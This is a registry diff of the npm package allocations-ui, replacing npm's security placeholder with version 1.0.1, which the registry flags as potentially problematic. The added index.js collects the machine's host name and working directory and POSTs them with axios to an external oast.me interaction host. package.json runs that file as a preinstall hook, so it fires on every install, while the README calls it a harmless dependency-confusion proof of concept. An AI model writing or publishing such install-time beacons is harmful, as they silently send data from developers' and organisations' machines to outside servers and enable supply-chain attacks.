allocations-ui 0.0.1-security → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of allocations-ui might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +11 -5
  2. package/index.js +23 -0
  3. package/package.json +15 -6
package/README.md CHANGED
@@ -1,5 +1,11 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=allocations-ui for more information.
1
+ # NPM Dependency Confusion PoC
2
+
3
+ Simple PoC package for testing for dependency confusion vulnerabilities.
4
+
5
+
6
+ I am testing 'dependency confusion' attacks in various scenarios.
7
+
8
+ This library does NOT contain any malicious code, it does NOT exploit anything. This is for research purposes only.
9
+
10
+ Inspired by Alex Birsan's research:
11
+ Reference: [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
package/index.js ADDED
@@ -0,0 +1,23 @@
1
+ const os = require('os');
2
+ const path = require('path');
3
+ const axios = require('axios');
4
+
5
+ const PACKAGE_NAME = "allocations-ui";
6
+ const HOSTNAME = os.hostname();
7
+ const CURRENT_PATH = process.cwd();
8
+
9
+ const url = "https://csfok4797nlpkbtsditg8mxn9je5g67ui.oast.me";
10
+
11
+ const data = {
12
+ package_name: PACKAGE_NAME,
13
+ hostname: HOSTNAME,
14
+ current_path: CURRENT_PATH
15
+ };
16
+
17
+ axios.post(url, data)
18
+ .then(response => {
19
+ console.log('Response:', response.data);
20
+ })
21
+ .catch(error => {
22
+ console.error('Error:', error);
23
+ });
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
- {
2
- "name": "allocations-ui",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "allocations-ui",
3
+ "version": "1.0.1",
4
+ "description": "Dependency Confusion POC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "start": "node index.js",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "dependencies": {
11
+ "axios": "^0.21.1"
12
+ },
13
+ "author": "Security Researcher",
14
+ "license": "ISC"
15
+ }